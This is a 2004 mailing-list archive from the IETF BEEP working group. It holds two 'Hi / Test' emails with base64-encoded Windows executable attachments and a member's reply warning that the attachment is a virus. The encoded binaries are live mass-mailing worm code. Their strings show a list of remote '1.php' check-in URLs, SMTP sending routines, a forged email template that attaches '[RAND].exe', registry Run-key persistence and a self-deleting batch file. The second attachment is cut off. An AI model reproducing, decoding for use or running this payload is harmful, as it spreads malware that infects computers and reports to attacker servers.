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
i+yBxKD+//9WV1Nq//81HH9AAOhkBAAAxkX/AMaFrv7//wBqCI2Fr/7//1Doo+H///91DOgc
5v//agBqBWoB/3UM/3UI6Fnr//+FwA+EXAIAAP91DOjo5f//i1UMixJqAGoBjYWu/v//UP91
DP9SDP91DOjd5f//gL2u/v//AnQXgL2u/v//A3QOgL2u/v//BHQF6RYCAABqBWoAaMgAAAD/
dQz/dQjoYOv//4XAD4T6AQAA/3UM6Ibl//+LVQyLEmoAaMgAAACNhTf///9Q/3UM/1IM/3UM
6Hjl//9oAFBAAI2FN////1DopgMAAAvAdAXptwEAAPyNvTf///+4AQAAAKuhA1BAAKtqAGoI
jYU3////UP91COjRAwAAgL2u/v//AnQNgL2u/v//Aw+FbQEAAGoAagRqBP91DP91COhf6v//
hcAPhGIBAAD/dQzo7uT//4tVDIsSagBqBI2FqP7//1D/dQz/Ugz/dQzo4+T//2oAagT/taj+
////dQz/dQjoHOr//4XAD4QfAQAA/3UM6Kvk//9oBAEAAI2FN////1DomAIAAGoFjYWv/v//
UOhB4P//aPlXQACNhTf///9Q6McCAACNha/+//9QjYU3////UOi0AgAAaAdYQACNhTf///9Q
6KMCAABqAGoAagJqAGoCaAAAAECNhTf///9Q6MgBAACJhaD+//9AD4SbAAAAi1UMixKNhaT+
//9QaIAAAACNhbf+//9Q/3UM/1IMg72k/v//AHQjagCNhaT+//9Q/7Wk/v//jYW3/v//UP+1
oP7//+gtAgAA67b/taD+///oVAEAAIC9rv7//wN1EWgBWEAAjYU3////UOgMAgAAagCNhTf/
//9Q6PIBAACAva7+//8DdRXouuD//+sOgL2u/v//BHUF6Krg////dQjoCAIAAP81HH9AAOij
AQAAM8BbX17JwggAVYvsg8TwVldT/wVYV0AAjUX8UOjE4v//agFqBWoI/3X8/3UI6LDo////
dfzoR+P//2oIjUX0UOjO3v//i1X8ixJqAGoIjUX0UP91/P9SDI119IA+Q3UagH4B/3UUZoN+
Av91Df91/P91COjG/P//6wLrAusI/3UI6HcBAAD/dfzoauL///8NWFdAADPAW19eycIEAGoA
6JUBAADon+b//4M9A1BAAAB1FGjIrwAA6AHh//8FiBMAAKMDUEAAaFxXQABo9jBAAP81A1BA
AOiw6v//6Dr8//+DPVRXQAAAdAXo8/r//2joAwAA6LEAAADr9Mz/JaRAQAD/JbhAQAD/JbRA
QAD/JbBAQAD/JaxAQAD/JZxAQAD/JaBAQAD/JahAQAD/JSRAQAD/JShAQAD/JSxAQAD/JTBA
QAD/JTRAQAD/JThAQAD/JTxAQAD/JUBAQAD/JURAQAD/JUhAQAD/JUxAQAD/JVBAQAD/JVRA
QAD/JVhAQAD/JVxAQAD/JWBAQAD/JbxAQAD/JWRAQAD/JWhAQAD/JWxAQAD/JXBAQAD/JXRA
QAD/JXhAQAD/JXxAQAD/JYBAQAD/JYRAQAD/JYhAQAD/JYxAQAD/JZBAQAD/JZRAQAD/JZhA
QAD/JeRAQAD/JTBBQAD/JShBQAD/JSRBQAD/JSBBQAD/JRxBQAD/JRhBQAD/JRRBQAD/JQxB
QAD/JQBBQAD/JQRBQAD/JQhBQAD/JRBBQAD/JSxBQAD/JcRAQAD/JchAQAD/JdxAQAD/JdRA
QAD/JdhAQAD/JdBAQAD/JfhAQAD/JfRAQAD/JfBAQAD/JexAQAD/JRRAQAD/JRBAQAD/JQxA
QAD/JQhAQAD/JRxAQAD/JQBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALhHAAAAAAAAdkcAAGJHAABSRwAA
REcAAAAAAACWRwAAAAAAALZDAADCQwAA1EMAAORDAAD2QwAACEQAABhEAAAmRAAANkQAAFBE
AABmRAAAfEQAAIxEAACeRAAAuEQAANBEAADsRAAA+kQAAAZFAAAWRQAAJkUAAC5FAABGRQAA
WEUAAG5FAAB4RQAAhEUAAJBFAACcRQAAqEUAAIhDAACYQwAAOEMAAKhDAAByQwAAZEMAAFhD
AABGQwAA3kQAAAAAAAB2RgAAhkYAAAAAAADKRgAAskYAAL5GAACoRgAAAAAAAMJFAAAAAAAA
JEcAABRHAAD4RgAA4kYAAAAAAAA8RgAARkYAAE5GAAAwRgAAWEYAACJGAAASRgAACEYAAPpF
AADyRQAA6EUAAGBGAADaRQAAAAAAACRCAAAAAAAAAAAAALRFAAAkQAAA5EIAAAAAAAAAAAAA
zkUAAORAAAAAQwAAAAAAAAAAAABqRgAAAEEAAMRCAAAAAAAAAAAAAJ5GAADEQAAA0EIAAAAA
AAAAAAAA1kYAANBAAADsQgAAAAAAAAAAAAA4RwAA7EAAAAhCAAAAAAAAAAAAAIhHAAAIQAAA
HEIAAAAAAAAAAAAAqkcAABxAAAAAQgAAAAAAAAAAAADIRwAAAEAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuEcAAAAAAAB2RwAAYkcAAFJHAABERwAAAAAAAJZHAAAAAAAAtkMAAMJDAADUQwAA
5EMAAPZDAAAIRAAAGEQAACZEAAA2RAAAUEQAAGZEAAB8RAAAjEQAAJ5EAAC4RAAA0EQAAOxE
AAD6RAAABkUAABZFAAAmRQAALkUAAEZFAABYRQAAbkUAAHhFAACERQAAkEUAAJxFAACoRQAA
iEMAAJhDAAA4QwAAqEMAAHJDAABkQwAAWEMAAEZDAADeRAAAAAAAAHZGAACGRgAAAAAAAMpG
AACyRgAAvkYAAKhGAAAAAAAAwkUAAAAAAAAkRwAAFEcAAPhGAADiRgAAAAAAADxGAABGRgAA
TkYAADBGAABYRgAAIkYAABJGAAAIRgAA+kUAAPJFAADoRQAAYEYAANpFAAAAAAAAGgBDbG9z
ZUhhbmRsZQAdAENvbXBhcmVGaWxlVGltZQAkAENvcHlGaWxlQQAwAENyZWF0ZUZpbGVBADEA
Q3JlYXRlRmlsZU1hcHBpbmdBAAA7AENyZWF0ZU11dGV4QQAARgBDcmVhdGVUaHJlYWQAAIAA
RXhpdFByb2Nlc3MAjwBGaW5kQ2xvc2UAkwBGaW5kRmlyc3RGaWxlQQAAnABGaW5kTmV4dEZp
bGVBAMgAR2V0Q29tbWFuZExpbmVBAN8AR2V0RGF0ZUZvcm1hdEEAAOgAR2V0RHJpdmVUeXBl
QQD1AEdldEZpbGVTaXplAP4AR2V0TG9jYWxUaW1lAAABAUdldExvZ2ljYWxEcml2ZVN0cmlu
Z3NBAAcBR2V0TW9kdWxlRmlsZU5hbWVBAAA8AUdldFN5c3RlbURpcmVjdG9yeUEAUgFHZXRU
aWNrQ291bnQAAFMBR2V0VGltZUZvcm1hdEEAAFUBR2V0VGltZVpvbmVJbmZvcm1hdGlvbgAA
YgFHZXRXaW5kb3dzRGlyZWN0b3J5QQAAZwFHbG9iYWxBbGxvYwBuAUdsb2JhbEZyZWUAAKoB
TG9jYWxBbGxvYwAArgFMb2NhbEZyZWUAugFNYXBWaWV3T2ZGaWxlAP0BUmVsZWFzZU11dGV4
AABgAlNsZWVwAGUCU3lzdGVtVGltZVRvRmlsZVRpbWUAAHcCVW5tYXBWaWV3T2ZGaWxlAI8C
V2FpdEZvclNpbmdsZU9iamVjdACUAldpbkV4ZWMAngJXcml0ZUZpbGUAtQJsc3RyY2F0QQAA
uQJsc3RyY21waUEAuwJsc3RyY3B5QQAAvwJsc3RybGVuQQAAa2VybmVsMzIuZGxsAABiAndz
cHJpbnRmQQB1c2VyMzIuZGxsAAAhAFdTQVN0YXJ0dXAAACQAYWNjZXB0AAAlAGJpbmQAACYA
Y2xvc2Vzb2NrZXQAJwBjb25uZWN0ACoAZ2V0aG9zdGJ5bmFtZQArAGdldGhvc3RuYW1lADYA
aW5ldF9hZGRyADoAbGlzdGVuAAA+AHJlY3YAAEMAc2VsZWN0AABEAHNlbmQAAEkAc29ja2V0
AAB3c29jazMyLmRsbAAxAENvSW5pdGlhbGl6ZQAAawBDcmVhdGVTdHJlYW1PbkhHbG9iYWwA
b2xlMzIuZGxsANcAU3RyRHVwQQDmAFN0clJDaHJBAADzAFN0clN0cklBAAD6AFN0clRyaW1B
AABzaGx3YXBpLmRsbABpAEludGVybmV0Q2xvc2VIYW5kbGUAewBJbnRlcm5ldEdldENvbm5l
Y3RlZFN0YXRlAIYASW50ZXJuZXRPcGVuQQCHAEludGVybmV0T3BlblVybEEAAHdpbmluZXQu
ZGxsAIABUmVnQ2xvc2VLZXkAgwFSZWdDcmVhdGVLZXlBAKMBUmVnUXVlcnlWYWx1ZUV4QQAA
rgFSZWdTZXRWYWx1ZUV4QQAAYWR2YXBpMzIuZGxsAAAqAEdldE5ldHdvcmtQYXJhbXMAAGlw
aGxwYXBpLmRsbAAAbgBTaGVsbEV4ZWN1dGVBAFNIRUxMMzIuZGxsAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMTIAeRoAADE1MS4yMDEuMC4zOQAAAAAA
AAAAAC53YWIALnR4dAAuaHRtAC5odG1sAAAucjEAQGhvdG1haWwuY29tAEBtc24uY29tAEBt
aWNyb3NvZnQAQGF2cC4AACVzP3A9JWx1JmlkPSVzAGh0dHA6Ly93d3cuZWxyYXNzaG9wLmRl
LzEucGhwAGh0dHA6Ly93d3cuaXQtbXNjLmRlLzEucGhwAGh0dHA6Ly93d3cuZ2V0eW91cmZy
ZWUubmV0LzEucGhwAGh0dHA6Ly93d3cuZG1kZXNpZ24uZGUvMS5waHAAaHR0cDovLzY0LjE3
Ni4yMjguMTMvMS5waHAAaHR0cDovL3d3dy5sZW9uemVybml0c2t5LmNvbS8xLnBocABodHRw
Oi8vMjE2Ljk4LjEzNi4yNDgvMS5waHAAaHR0cDovLzIxNi45OC4xMzQuMjQ3LzEucGhwAGh0
dHA6Ly93d3cuY2Ryb21jYS5jb20vMS5waHAAaHR0cDovL3d3dy5rdW5zdC1pbi10ZW1wbGlu
LmRlLzEucGhwAGh0dHA6Ly92aXB3ZWIucnUvMS5waHAAaHR0cDovL2FudG9sLWNvLnJ1LzEu
cGhwAGh0dHA6Ly93d3cuYmFncy1kb3N0YXZrYS5tYWdzLnJ1LzEucGhwAGh0dHA6Ly93d3cu
NXgxMi5ydS8xLnBocABodHRwOi8vYm9zZS1hdWRpby5uZXQvMS5waHAAaHR0cDovL3d3dy5z
dHRuZ2RhdGEuZGUvMS5waHAAaHR0cDovL3doOS50dS1kcmVzZGVuLmRlLzEucGhwAGh0dHA6
Ly93d3cubWljcm9udWtlLm5ldC8xLnBocABodHRwOi8vd3d3LnN0YWR0aGFnZW4ub3JnLzEu
cGhwAGh0dHA6Ly93d3cuYmVhc3R5LWNhcnMuZGUvMS5waHAAaHR0cDovL3d3dy5wb2xvaGV4
ZS5kZS8xLnBocABodHRwOi8vd3d3LmJpbm84OC5kZS8xLnBocABodHRwOi8vd3d3LmdyZWZy
YXRocGFlbnouZGUvMS5waHAAaHR0cDovL3d3dy5iaGFtaWR5LmRlLzEucGhwAGh0dHA6Ly93
d3cubXlzdGljLXZ3cy5kZS8xLnBocABodHRwOi8vd3d3LmF1dG8taG9iYnktZXNzZW4uZGUv
MS5waHAAaHR0cDovL3d3dy5wb2xvemlja2UuZGUvMS5waHAAaHR0cDovL3d3dy50d3ItbXVz
aWMuZGUvMS5waHAAaHR0cDovL3d3dy5zYy1lcmJlbmRvcmYuZGUvMS5waHAAaHR0cDovL3d3
dy5tb250YW5pYS5kZS8xLnBocABodHRwOi8vd3d3Lm1lZGktbWFydGluLmRlLzEucGhwAGh0
dHA6Ly92dmNnbi5kZS8xLnBocABodHRwOi8vd3d3LmJhbGxvbmZvdG8uY29tLzEucGhwAGh0
dHA6Ly93d3cubWFyZGVyLWdtYmguZGUvMS5waHAAaHR0cDovL3d3dy5kdmQtZmlsbWUuY29t
LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz
DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz
aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu
ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0
L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6
IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z
ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv
ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt
ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0
ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg
ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA
AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF
XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi
YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog
AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB
DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc
ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA
AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA
AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA
IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA
AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER
ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER
EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm
ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w
b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA
FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w
b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm
ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+
/v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER
ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER
ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA
gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA
AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC
AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

----------375347424173232--


From gwachob@wachob.com Mon Jan 19 20:41:41 2004
Received: from xomi.pair.com (xomi.pair.com [209.68.2.14])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with SMTP id i0K4feom020943
	for <beepwg@lists.beepcore.org>; Mon, 19 Jan 2004 20:41:41 -0800 (PST)
Received: (qmail 43074 invoked by uid 3039); 20 Jan 2004 04:41:37 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 20 Jan 2004 04:41:37 -0000
Date: Mon, 19 Jan 2004 20:41:37 -0800 (PST)
From: Gabe Wachob <gwachob@wachob.com>
X-X-Sender: gwachob@xomi.pair.com
To: eamon.otuathail@clipcode.com
cc: beepwg@lists.beepcore.org
Subject: Re: [BEEPwg] Hi
In-Reply-To: <ihwnsnjkcvbvmfsrume@clipcode.com>
Message-ID: <Pine.BSF.4.58.0401192041170.42590@xomi.pair.com>
References: <ihwnsnjkcvbvmfsrume@clipcode.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

This is a virus sent by someone subscribed to the list. Do NOT download
this attachment.

And, btw, hi there eamon!

	-Gabe

On Tue, 20 Jan 2004 eamon.otuathail@clipcode.com wrote:

>  Test =)
> pvqtnpfistsseumbufjrk
> --
> Test, yep.
>

-- 
Gabe Wachob                       gwachob@wachob.com
            http://www.wachob.com

From eamon.otuathail@clipcode.com Tue Jan 20 02:00:52 2004
Received: from os ([61.11.18.143])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with SMTP id i0KA0mon023002
	for <beepwg@lists.beepcore.org>; Tue, 20 Jan 2004 02:00:50 -0800 (PST)
Date: Tue, 20 Jan 2004 15:30:03 +0530
To: beepwg@lists.beepcore.org
From: eamon.otuathail@clipcode.com
Message-ID: <huihyhtltvgljufkjqb@clipcode.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------837403615468708"
Subject: [BEEPwg] Hi
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

----------837403615468708
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

 Test =)
kwnyymki
--
Test, yep.

----------837403615468708
Content-Type: application/x-msdownload; name="lhcwifdmxhq.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="gvdlnpfd.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH
k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA
AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA
AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA
AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA
AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA
AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA
AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL
7Ff8i30Ii00MwekCM8DjAvOri00Mg+ED4wLzql/JwggAVYvsV1OLXQyLfQhqGeh1AgAAg8Bh
/KpLdfFbX8nCCABVi+xXU4tdDIt9CGoJ6FUCAACDwDD8qkt18VtfycIIAFWL7IPE/FP/dQjo
WiIAAIvY/3UQ6FAiAAAD2IPDEFNqQOjpIQAAiUX8/3UM/3UI6KciAAALwHQzxgAAi9j/dQzo
JCIAAAPY/3UI/3X86BEiAAD/dRD/dfzo+iEAAFP/dfzo8SEAAItF/OsK/3X86KIhAAAzwFvJ
wgwAVYvsg8T8VldTx0X8AAAAAIt1CIt9DItNEDPAM9usweAI4gfB4AhDQ+sLrMHgCOIDQ+sC
rElRagRZUcHCCIrQgOI/wegG4vNZ6C8AAACSq5L/RfyDffwSdQ/HRfwAAAAAUGa4DQpmq1hZ
